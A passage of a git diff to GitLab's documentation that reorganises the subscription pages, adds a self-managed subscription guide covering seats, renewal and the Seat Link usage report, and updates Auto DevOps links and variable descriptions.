[support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. - -## Upgrade your subscription tier - -The process for upgrading differs depending on whether you're a GitLab.com or self-managed customer. - -### Upgrade your GitLab.com subscription tier - -To upgrade your [GitLab tier](https://about.gitlab.com/pricing/): - -1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in). -1. Select the **Upgrade** button on the relevant subscription card on the [Manage purchases](https://customers.gitlab.com/subscriptions) page. -1. Select the desired upgrade. -1. Confirm the active form of payment, or add a new form of payment. -1. Check the **I accept the Privacy Policy and Terms of Service** checkbox. -1. Select **Confirm purchase**. - -When the purchase has been processed, you receive confirmation of your new subscription tier. - -### Upgrade your self-managed subscription tier - -To upgrade your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team as this -can't be done in the Customers Portal. You can either send an email to `renewals@gitlab.com`, or -complete the [**Contact Sales**](https://about.gitlab.com/sales/) form. Include details of which subscription you want to upgrade and the desired tier in your message. - -After messaging the sales team, the workflow is as follows: - -1. Receive a reply from the sales team, asking for confirmation of the upgrade. -1. Reply to the sales team, confirming details of the upgrade. -1. Receive a quote from the sales team. -1. Sign and return the quote. -1. Receive the new license. -1. Upload the new license. For details, see [Uploading your license](../user/admin_area/license.md#uploading-your-license). - -The new subscription tier is active when the license file is uploaded. - -## Subscription expiry - -When your subscription or trial expires, GitLab does not delete your data, but it may become inaccessible, depending on the tier at expiry. Some features may not behave as expected if you're not prepared for the expiry. For example, [environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). - -If you renew or upgrade, your data will again be accessible. - -### Self-managed GitLab data - -For self-managed customers, there is a 14-day grace period when your features -will continue to work as-is, after which the entire instance will become read -only. - -However, if you remove the license, you will immediately revert to Core -features, and the instance will be read / write again. - -## CI pipeline minutes - -CI pipeline minutes are the execution time for your [pipelines](../ci/pipelines/index.md) on GitLab's shared runners. Each [GitLab.com tier](https://about.gitlab.com/pricing/) includes a monthly quota of CI pipeline minutes: - -- Free: 2,000 minutes -- Bronze: 2,000 minutes -- Silver: 10,000 minutes -- Gold: 50,000 minutes - -Quotas apply to: - -- Groups, where the minutes are shared across all members of the group, its subgroups, and nested projects. To view the group's usage, navigate to the group, then **Settings > Usage Quotas**. -- Your personal account, where the minutes are available for your personal projects. To view and buy personal minutes, click your avatar, then **Settings > [Usage Quotas](https://gitlab.com/profile/usage_quotas#pipelines-quota-tab)**. - -Only pipeline minutes for GitLab shared runners are restricted. If you have a specific runner set up for your projects, there is no limit to your build time on GitLab.com. - -The available quota is reset on the first of each calendar month at midnight UTC. - -When the CI minutes are depleted, an email is sent automatically to notify the owner(s) -of the namespace. You can [purchase additional CI minutes](#purchasing-additional-ci-minutes), or upgrade your account to [Silver or Gold](https://about.gitlab.com/pricing/). Your own runners can still be used even if you reach your limits. - -### Purchasing additional CI minutes - -If you're using GitLab.com, you can purchase additional CI minutes so your -pipelines won't be blocked after you have used all your CI minutes from your -main quota. You can find pricing for additional CI/CD minutes in the [GitLab Customers Portal](https://customers.gitlab.com/plans). Additional minutes: - -- Are only used once the shared quota included in your subscription runs out. -- Roll over month to month. - -To purchase additional minutes for your group on GitLab.com: - -1. From your group, go to **Settings > Usage Quotas**. -1. Select **Buy additional minutes** and you will be directed to the Customers Portal. -1. Locate the subscription card that's linked to your group on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. -1. Once we have processed your payment, the extra CI minutes will be synced to your group namespace. -1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**. - - The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. - -To purchase additional minutes for your personal namespace: +## GitLab for Education subscriptions -1. Click your avatar, then go to **Settings > Usage Quotas**. -1. Select **Buy additional minutes** and you will be directed to the Customers Portal. -1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes will be synced to your personal namespace. -1. To confirm the available CI minutes for your personal projects, click your avatar, then go to **Settings > Usage Quotas**. +The GitLab Education license can only be used for instructional-use or +non-commercial academic research. - The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. +Find more information how to apply and renew at +[GitLab for Education](https://about.gitlab.com/solutions/education/). -Be aware that: +## GitLab for Open Source subscriptions -- If you have purchased extra CI minutes before the purchase of a paid plan, - we will calculate a pro-rated charge for your paid plan. That means you may - be charged for less than one year since your subscription was previously - created with the extra CI minutes. -- Once the extra CI minutes have been assigned to a Group, they can't be transferred - to a different Group. -- If you have used more minutes than your default quota, these minutes will - be deducted from your Additional Minutes quota immediately after your purchase of additional - minutes. +All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/program/) +requests, including subscription renewals, must be made by using the application process. +If you have any questions, send an email to `opensource@gitlab.com` for assistance. ## Contact Support -We also encourage all users to search our project trackers for known issues and -existing feature requests in the [GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/) project. - -These issues are the best avenue for getting updates on specific product plans -and for communicating directly with the relevant GitLab team members. - Learn more about: - The tiers of [GitLab Support](https://about.gitlab.com/support/). - [Submit a request via the Support Portal](https://support.gitlab.com/hc/en-us/requests/new). -## GitLab for Education subscriptions - -To renew a [GitLab for Education](https://about.gitlab.com/solutions/education/) subscription, send an email to `education@gitlab.com` with the following information: - -1. The number of seats for the renewal. You can add seats if needed. -1. The use case for the license. Specifically, we need verification that the use meets the conditions of the [End User License Agreement](https://about.gitlab.com/terms/#edu-oss). Note that university infrastructure operations and information technology operations don't fall within the stated terms of the Education Program. For details, see the [Education FAQ](https://about.gitlab.com/solutions/education/#FAQ). -1. The full name, email address, and phone number of the primary contact who will be signing the renewal quote. Only signatures by faculty or staff with proper signing authority on the behalf of the university will be accepted. - -After we receive the above information, we will process the request and return a renewal quote for signature. Please allow a minimum of 2 business days for return. Email us at `education@gitlab.com` with any questions. - -## GitLab for Open Source subscriptions +We also encourage all users to search our project trackers for known issues and +existing feature requests in the +[GitLab project](https://gitlab.com/gitlab-org/gitlab/-/issues/). -All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/program/) requests, including subscription renewals, must be made by using the application process. If you have any questions, send an email to `opensource@gitlab.com` for assistance. +These issues are the best avenue for getting updates on specific product plans +and for communicating directly with the relevant GitLab team members. <!-- ## Troubleshooting diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md new file mode 100644 index 00000000000..a0eb998c545 --- /dev/null +++ b/doc/subscriptions/self_managed/index.md @@ -0,0 +1,318 @@ +--- +type: index, reference +--- + +# GitLab self-managed subscription **(STARTER ONLY)** + +You can install, administer, and maintain your own GitLab instance. + +In this page we'll go through the details of your GitLab self-managed subscription. + +## Choose a GitLab tier + +Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose +the features which fit your budget. For information on what features are available +at each tier, see the +[GitLab self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/). + +## Choose the number of users + +A self-managed subscription uses a hybrid model. You pay for a subscription +according to the maximum number of users enabled during the subscription period. +For instances that aren't offline or on a closed network, the maximum number of +simultaneous users in the self-managed installation is checked each quarter, +using [Seat Link](#seat-link). + +Every occupied seat, whether by person, job, or bot is counted in the subscription, +with the following exceptions: + +- [Deactivated](../../user/admin_area/activating_deactivating_users.md#deactivating-a-user) and + [blocked](../../user/admin_area/blocking_unblocking_users.md) users who are restricted prior to the + renewal of a subscription won't be counted as active users for the renewal subscription. They may + count as active users in the subscription period in which they were originally added. +- Members with Guest permissions on an Ultimate subscription. +- GitLab-created service accounts: `Ghost User`, `Support Bot` and [`Project bot users`](../../user/project/settings/project_access_tokens.md#project-bot-users). + +### Users statistics + +To view a breakdown of the users within your instance, including active, billable, +and blocked, go to **Admin Area > Overview > Dashboard** and select **Users statistics** +in the **Users** section. For more details, see +[Users statistics](../../user/admin_area/index.md#users-statistics). + +NOTE: **Note:** +If you have LDAP integration enabled, anyone in the configured domain can sign up for a GitLab account. This can result in an unexpected bill at time of renewal. Consider [disabling new signups](../../user/admin_area/settings/sign_up_restrictions.md) and managing new users manually instead. + +## Obtain a subscription + +To subscribe to GitLab through a self-managed installation: + +1. Go to the [Customers Portal](https://customers.gitlab.com/) and purchase a + **Starter**, **Premium**, or **Ultimate** self-managed plan. +1. After purchase, a license file is sent to the email address associated to the Customers Portal account, + which must be [uploaded to your GitLab instance](../../user/admin_area/license.md#uploading-your-license). + +TIP: **Tip:** +If you're purchasing a subscription for an existing **Core** self-managed +instance, ensure you're purchasing enough seats to +[cover your users](../../user/admin_area/index.md#administering-users). + +## View your subscription + +If you are an administrator, to view the status of your self-managed subscription, +log in to the your GitLab instance and go to the **License** page: + +1. Go to **Admin Area**. +1. From the left-hand menu, select **License**. + +Read more about the [license admin area](../../user/admin_area/license.md). + +## Renew your subscription + +To renew your subscription, +[prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account), +then [renew your self-managed subscription](#renew-a-subscription). + +### Prepare for renewal by reviewing your account + +The [Customers Portal](https://customers.gitlab.com/customers/sign_in) is your +tool for renewing and modifying your subscription. Before going ahead with renewal, +log in and verify or update: + +- The invoice contact details on the **Account details** page. +- The credit card on file on the **Payment Methods** page. + +TIP: **Tip:** +Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) +if you need assistance accessing the Customers Portal or if you need to change +the contact person who manages your subscription. + +It's important to regularly review your user accounts, because: + +- A GitLab subscription is based on the number of users. You will pay more than + you should if you renew for too many users, while the renewal will fail if you + attempt to renew a subscription for too few users. +- Stale user accounts can be a security risk. A regular review helps reduce this risk. + +#### Users over License + +A GitLab subscription is valid for a specific number of users. For details, see +[Choose the number of users](#choose-the-number-of-users). If the active user +count exceeds the number included in the subscription, known as the number of +_users over license_, you must pay for the excess number of users either before +renewal, or at the time of renewal. This is also known the _true up_ process. + +Self-managed instances can add users to a subscription any time during the +subscription period. The cost of additional users added during the subscription +period is prorated from the date of purchase through the end of the subscription period. + +To add users to a subscription: + +1. Log in to the [Customers Portal](https://customers.gitlab.com/). +1. Navigate to the **Manage Purchases** page. +1. Select **Add more seats** on the relevant subscription card. +1. Enter the number of additional users. +1. Select **Proceed to checkout**. +1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You will only be charged for the net change. +1. Select **Confirm Upgrade**. + +The following will be emailed to you: + +- A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts). +- A new license. [Upload this license](../../user/admin_area/license.md#uploading-your-license) to your instance to use it. + +### Renew a subscription + +Starting 30 days before a subscription expires, GitLab notifies administrators of the date of expiry with a banner in the GitLab user interface. + +We recommend following these steps during renewal: + +1. Prune any inactive or unwanted users by [blocking them](../../user/admin_area/blocking_unblocking_users.md#blocking-a-user). +1. Determine if you have a need for user growth in the upcoming subscription. +1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and select the **Renew** button beneath your existing subscription. + + TIP: **Tip:** + If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal. + +1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of active users in the system at the time of performing the renewal. +1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term. + + TIP: **Tip:** + You can find the _users over license_ in your instance's **Admin** dashboard by clicking on the **Admin Area** in the top bar, or going to `/admin`. + + The following table describes details of your admin dashboard and renewal terms: + + | Field | Description | + |:------|:------------| + | Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. | + | Active users | The number of current active users on your system. | + | Maximum users | The highest number of active users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. | + | Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users will be incurred at the next renewal. | + +1. Review your renewal details and complete the payment process. +1. A license for the renewal term will be available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy. +1. [Upload](../../user/admin_area/license.md#uploading-your-license) your new license to your instance. + +An invoice will be generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. + +### Seat Link + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.9. + +Seat Link allows GitLab Inc. to provide our self-managed customers with prorated charges for user growth throughout the year using a quarterly reconciliation process. + +Seat Link daily sends a count of all users in connected self-managed instances to GitLab. That information is used to automate prorated reconciliations. The data is sent securely through an encrypted HTTPS connection. + +Seat Link provides **only** the following information to GitLab: + +- Date +- License key +- Historical maximum user count +- Active users count + +For offline or closed network customers, the existing [true-up model](#users-over-license) will be used. Prorated charges are not possible without user count data. + +<details> +<summary>Click here to view example content of a Seat Link POST request.</summary> + +<pre><code> +{ + date: '2020-01-29', + license_key: 'ZXlKa1lYUmhJam9pWm5WNmVsTjVZekZ2YTJoV2NucDBh +RXRxTTA5amQxcG1VMVZqDQpXR3RwZEc5SGIyMVhibmxuZDJ0NWFrNXJTVzVH +UzFCT1hHNVRiVFIyT0ZaUFlVSm1OV1ZGV0VObE1uVk4NCk4xY3ZkM1F4Y2to +MFFuVklXSFJvUWpSM01VdE9SVE5rYkVjclZrdDJORkpOTlhka01qaE5aalpj +YmxSMg0KWVd3MFNFTldTRmRtV1ZGSGRDOUhPR05oUVZvNUsxVnRXRUZIZFU1 +U1VqUm5aVFZGZUdwTWIxbDFZV1EyDQphV1JTY1V4c1ZYSjNPVGhrYVZ4dVlu +TkpWMHRJZUU5dmF6ZEJRVVkxTlVWdFUwMTNSMGRHWm5SNlJFcFYNClQyVkJl +VXc0UzA0NWFFb3ZlSFJrZW0xbVRqUlZabkZ4U1hWcWNXRnZYRzVaTm5GSmVW +UnJVR1JQYTJKdA0KU0ZZclRHTmFPRTVhZEVKMUt6UjRkSE15WkRCT1UyNWlS +MGRJZDFCdmRFWk5Za2h4Tm5sT1VsSktlVlYyDQpXRmhjYmxSeU4wRnRNMU5q +THpCVWFGTmpTMnh3UWpOWVkyc3pkbXBST1dnelZHY3hUV3hxVDIwdlZYRlQN +Ck9EWTJSVWx4WlVOT01EQXhVRlZ3ZGs1Rk0xeHVSVEJTTDFkMWJUQTVhV1ZK +WjBORFdWUktaRXNyVnpsTw0KTldkWWQwWTNZa05VWlZBMmRUVk9kVUpxT1hV +Mk5VdDFTUzk0TUU5V05XbFJhWGh0WEc1cVkyWnhaeTlXDQpTMEpyZWt0cmVY +bzBOVGhFVG1oU1oxSm5WRFprY0Uwck0wZEdhVUpEV1d4a1RXZFRjVU5tYTB0 +a2RteEQNCmNWTlFSbFpuWlZWY2JpdFVVbXhIV0d4MFRuUnRWbkJKTkhwSFJt +TnRaMGsyV0U1MFFUUXJWMUJVTWtOSA0KTVhKUWVGTkxPVTkzV1VsMlVUUldk +R3hNTWswNU1USlNjRnh1U1UxTGJTdHRRM1l5YTFWaWJtSlBTMkUxDQplRkpL +SzJSckszaG1hVXB1ZVRWT1UwdHZXV0ZOVG1WamMyVjRPV0pSUlZkUU9UUnpU +VWh2Wlc5cFhHNUgNClNtRkdVMDUyY1RGMWNGTnhVbU5JUkZkeGVWcHVRMnBh +VTBSUGR6VnRNVGhvWTFBM00zVkZlVzFOU0djMA0KY1ZFM1FWSlplSFZ5UzFS +aGIxTmNia3BSUFQxY2JpSXNJbxRsZVNJNkltZFhiVzFGVkRZNWNFWndiV2Rt +DQpNWEIyY21SbFFrdFNZamxaYURCdVVHcHhiRlV3Tm1WQ2JGSlFaSFJ3Y0Rs +cFMybGhSMnRPTkZOMWNVNU0NClVGeHVTa3N6TUUxcldVOTVWREl6WVVWdk5U +ZGhWM1ZvVjJkSFRtZFBZVXRJTkVGcE55dE1NRE5dWnpWeQ0KWlV0aWJsVk9T +RmRzVVROUGRHVXdWR3hEWEc1MWjWaEtRMGQ2YTAxWFpUZHJURTVET0doV00w +ODRWM0V2DQphV2M1YWs5cWFFWk9aR3BYTm1aVmJXNUNaazlXVUVRMWRrMXpj +bTFDV0V4dldtRmNibFpTTWpWU05VeFMNClEwTjRNMWxWCUtSVGEzTTJaV2xE +V0hKTFRGQmpURXRsZFVaQlNtRnJTbkpPZGtKdlUyUmlNVWxNWWpKaQ0KT0dw +c05YbE1kVnh1YzFWbk5VZDFhbU56ZUM5Tk16TXZUakZOVW05cVpsVTNObEo0 +TjJ4eVlVUkdkWEJtDQpkSHByYWpreVJrcG9UVlo0Y0hKSU9URndiV2RzVFdO +VlhHNXRhVmszTkV0SVEzcEpNMWRyZEVoRU4ydHINCmRIRnFRVTlCVUVVM1pV +SlRORE4xUjFaYVJGb3JlWGM5UFZ4dUlpd2lhWFlpt2lKV00yRnNVbk5RTjJk +Sg0KU1hNMGExaE9SVGR2V2pKQlBUMWNiaUo5DQo=', + max_historical_user_count: 10, + active_users: 6 +} +</code></pre> + +</details> + +You can view the exact JSON payload in the administration panel. To view the payload: + +1. Navigate to **Admin Area > Settings > Metrics and profiling** and expand **Seat Link**. +1. Click **Preview payload**. + +#### Disable Seat Link + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212375) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.10. + +Seat Link is enabled by default. + +To disable this feature, go to **Admin Area > Settings > Metrics and profiling**, uncheck the **Enable Seat Link** checkbox > **Save changes**. + +To disable Seat Link in an Omnibus GitLab installation, and prevent it from +being configured in the future through the administration panel, set the following in +[`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options): + +```ruby +gitlab_rails['seat_link_enabled'] = false +``` + +To disable Seat Link in a GitLab source installation, and prevent it from +being configured in the future through the administration panel, +set the following in `gitlab.yml`: + +```yaml +production: &base + # ... + gitlab: + # ... + seat_link_enabled: false +``` + +## Upgrade your subscription tier + +To upgrade your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team as this +can't be done in the Customers Portal. You can either send an email to `renewals@gitlab.com`, or +complete the [**Contact Sales**](https://about.gitlab.com/sales/) form. Include details of which subscription you want to upgrade and the desired tier in your message. + +After messaging the sales team, the workflow is as follows: + +1. Receive a reply from the sales team, asking for confirmation of the upgrade. +1. Reply to the sales team, confirming details of the upgrade. +1. Receive a quote from the sales team. +1. Sign and return the quote. +1. Receive the new license. +1. Upload the new license. For details, see [Uploading your license](../../user/admin_area/license.md#uploading-your-license). + +The new subscription tier is active when the license file is uploaded. + +## Subscription expiry + +When your subscription or trial expires, GitLab does not delete your data, but it +may become inaccessible, depending on the tier at expiry. Some features may not +behave as expected if you're not prepared for the expiry. For example, +[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). +If you renew or upgrade, your data will again be accessible. + +For self-managed customers, there is a 14-day grace period when your features +will continue to work as-is, after which the entire instance will become read +only. + +However, if you remove the license, you will immediately revert to Core +features, and the instance will be read / write again. + +## Customers portal + +GitLab provides a [customer portal](../index.md#customers-portal) where you can +manage your subscriptions and your account details. + +## Contact Support + +Learn more about: + +- The tiers of [GitLab Support](https://about.gitlab.com/support/). +- [Submit a request via the Support Portal](https://support.gitlab.com/hc/en-us/requests/new). + +We also encourage all users to search our project trackers for known issues and +existing feature requests in the [GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/) project. + +These issues are the best avenue for getting updates on specific product plans +and for communicating directly with the relevant GitLab team members. + +## Troubleshooting + +### Credit card declined + +If your credit card is declined when purchasing a GitLab subscription, possible reasons include: + +- The credit card details provided are incorrect. +- The credit card account has insufficient funds. +- You are using a virtual credit card and it has insufficient funds, or has expired. +- The transaction exceeds the credit limit. +- The transaction exceeds the credit card's maximum transaction amount. + +Check with your financial institution to confirm if any of these reasons apply. If they don't +apply, contact [GitLab Support](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293). diff --git a/doc/system_hooks/system_hooks.md b/doc/system_hooks/system_hooks.md index 4ece58f533d..feea038b7d2 100644 --- a/doc/system_hooks/system_hooks.md +++ b/doc/system_hooks/system_hooks.md @@ -671,7 +671,7 @@ X-Gitlab-Event: System Hook "homepage":"http://example.com/jsmith/example", "url":"git@example.com:jsmith/example.git", "ssh_url":"git@example.com:jsmith/example.git", - "http_url":"http://example.com/jsmith/example.git", + "http_url":"http://example.com/jsmith/example.git" }, "changes": [ { diff --git a/doc/topics/application_development_platform/index.md b/doc/topics/application_development_platform/index.md index 06cae63cbe3..85741c4b631 100644 --- a/doc/topics/application_development_platform/index.md +++ b/doc/topics/application_development_platform/index.md @@ -47,10 +47,10 @@ that may lead to security problems and unintended use. This can be achieved by m which inform security teams and developers if there is something to consider changing in their apps before it is too late to create a preventative fix. The following features are included: -- [Auto SAST (Static Application Security Testing)](../autodevops/stages.md#auto-sast-ultimate) -- [Auto Dependency Scanning](../autodevops/stages.md#auto-dependency-scanning-ultimate) -- [Auto Container Scanning](../autodevops/stages.md#auto-container-scanning-ultimate) -- [Auto DAST (Dynamic Application Security Testing)](../autodevops/stages.md#auto-dast-ultimate) +- [Auto SAST (Static Application Security Testing)](../autodevops/stages.md#auto-sast) +- [Auto Dependency Scanning](../autodevops/stages.md#auto-dependency-scanning) +- [Auto Container Scanning](../autodevops/stages.md#auto-container-scanning) +- [Auto DAST (Dynamic Application Security Testing)](../autodevops/stages.md#auto-dast) ### Observability diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md index b5952494201..13aa8f7e035 100644 --- a/doc/topics/autodevops/customize.md +++ b/doc/topics/autodevops/customize.md @@ -130,7 +130,7 @@ repository or by specifying a project variable: - **Bundled chart** - If your project has a `./chart` directory with a `Chart.yaml` file in it, Auto DevOps will detect the chart and use it instead of the - [default chart](https://gitlab.com/gitlab-org/charts/auto-deploy-app), enabling + [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling you to control exactly how your application is deployed. - **Project variable** - Create a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables) `AUTO_DEVOPS_CHART` with the URL of a custom chart to use, or create two project @@ -142,7 +142,7 @@ repository or by specifying a project variable: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` will be used by default for Helm upgrades. You can override the default values in the `values.yaml` file in the -[default Helm chart](https://gitlab.com/gitlab-org/charts/auto-deploy-app) by either: +[default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) by either: - Adding a file named `.gitlab/auto-deploy-values.yaml` to your repository, which is automatically used, if found. @@ -154,6 +154,16 @@ NOTE: **Note:** For GitLab 12.5 and earlier, use the `HELM_UPGRADE_EXTRA_ARGS` environment variable to override the default chart values by setting `HELM_UPGRADE_EXTRA_ARGS` to `--values <my-values.yaml>`. +## Customize the `helm upgrade` command + +You can customize the `helm upgrade` command used in the [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) +by passing options to the command with the `HELM_UPGRADE_EXTRA_ARGS` variable. +For example, set the value of `HELM_UPGRADE_EXTRA_ARGS` to `--no-hooks` to disable +pre and post upgrade hooks when the command is executed. + +See [the official documentation](https://helm.sh/docs/helm/helm_upgrade/) for the full +list of options. + ## Custom Helm chart per environment You can specify the use of a custom Helm chart per environment by scoping the environment variable @@ -316,7 +326,7 @@ applications. | `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). | | `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes won't prevent word splitting. [More details](#passing-arguments-to-docker-build). | | `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI variable names](#forward-ci-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). | -| `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/charts/auto-deploy-app). | +| `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). | | `AUTO_DEVOPS_CHART_REPOSITORY` | Helm Chart repository used to search for charts. Defaults to `https://charts.gitlab.io`. | | `AUTO_DEVOPS_CHART_REPOSITORY_NAME` | From GitLab 11.11, used to set the name of the Helm repository. Defaults to `gitlab`. | | `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME` | From GitLab 11.11, used to set a username to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD`. | @@ -325,14 +335,14 @@ applications. | `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` | From [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) v1.0.0, if this variable is present, a new major version of chart is forcibly deployed. [More details](upgrading_chart.md#ignore-warning-and-continue-deploying) | | `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` | From GitLab 12.5, used in combination with [ModSecurity feature flag](../../user/clusters/applications.md#web-application-firewall-modsecurity) to toggle [ModSecurity's `SecRuleEngine`](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRuleEngine) behavior. Defaults to `DetectionOnly`. | | `BUILDPACK_URL` | Buildpack's full URL. Can point to either [a Git repository URL or a tarball URL](#custom-buildpacks). | -| `CANARY_ENABLED` | From GitLab 11.0, used to define a [deploy policy for canary environments](#deploy-policy-for-canary-environments-premium). | +| `CANARY_ENABLED` | From GitLab 11.0, used to define a [deploy policy for canary environments](#deploy-policy-for-canary-environments). | | `CANARY_PRODUCTION_REPLICAS` | Number of canary replicas to deploy for [Canary Deployments](../../user/project/canary_deployments.md) in the production environment. Takes precedence over `CANARY_REPLICAS`. Defaults to 1. | | `CANARY_REPLICAS` | Number of canary replicas to deploy for [Canary Deployments](../../user/project/canary_deployments.md). Defaults to 1. | | `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](#custom-dockerfile) | | `HELM_RELEASE_NAME` | From GitLab 12.1, allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. | | `HELM_UPGRADE_VALUES_FILE` | From GitLab 12.6, allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. | -| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra arguments in `helm` commands when deploying the application. Note that using quotes won't prevent word splitting. | -| `INCREMENTAL_ROLLOUT_MODE` | From GitLab 11.4, if present, can be used to enable an [incremental rollout](#incremental-rollout-to-production-premium) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. | +| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes won't prevent word splitting. | +| `INCREMENTAL_ROLLOUT_MODE` | From GitLab 11.4, if present, can be used to enable an [incremental rollout](#incremental-rollout-to-production) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. | | `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) will be made available by Auto DevOps as environment variables to the deployed application. | | `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, can be used to set a domain per cluster. See [cluster domains](../../user/project/clusters/index.md#base-domain) for more information. | | `PRODUCTION_REPLICAS` | Number of replicas to deploy in the production environment. Takes precedence over `REPLICAS` and defaults to 1. For zero downtime upgrades, set to 2 or greater. | @@ -585,7 +595,7 @@ TIP: **Tip:** You can also set this inside your [project's settings](index.md#deployment-strategy). This configuration is based on -[incremental rollout to production](#incremental-rollout-to-production-premium). +[incremental rollout to production](#incremental-rollout-to-production). Everything behaves the same way, except: diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md index e8a344a41d7..a39f93a26e1 100644 --- a/doc/topics/autodevops/index.md +++ b/doc/topics/autodevops/index.md @@ -33,7 +33,7 @@ For requirements, see [Requirements for Auto DevOps](requirements.md) for more i Auto DevOps is enabled by default for all projects and attempts to run on all pipelines in each project. An instance administrator can enable or disable this default in the -[Auto DevOps settings](../../user/admin_area/settings/continuous_integration.md#auto-devops-core-only). +[Auto DevOps settings](../../user/admin_area/settings/continuous_integration.md#auto-devops). Auto DevOps automatically disables in individual projects on their first pipeline failure, if it has not been explicitly enabled for the project. @@ -83,16 +83,16 @@ project in a simple and automatic way: 1. [Auto Build](stages.md#auto-build) 1. [Auto Test](stages.md#auto-test) -1. [Auto Code Quality](stages.md#auto-code-quality-starter) **(STARTER)** -1. [Auto SAST (Static Application Security Testing)](stages.md#auto-sast-ultimate) **(ULTIMATE)** -1. [Auto Secret Detection](stages.md#auto-secret-detection-ultimate) **(ULTIMATE)** -1. [Auto Dependency Scanning](stages.md#auto-dependency-scanning-ultimate) **(ULTIMATE)** -1. [Auto License Compliance](stages.md#auto-license-compliance-ultimate) **(ULTIMATE)** -1. [Auto Container Scanning](stages.md#auto-container-scanning-ultimate) **(ULTIMATE)** +1. [Auto Code Quality](stages.md#auto-code-quality) **(STARTER)** +1. [Auto SAST (Static Application Security Testing)](stages.md#auto-sast) **(ULTIMATE)** +1. [Auto Secret 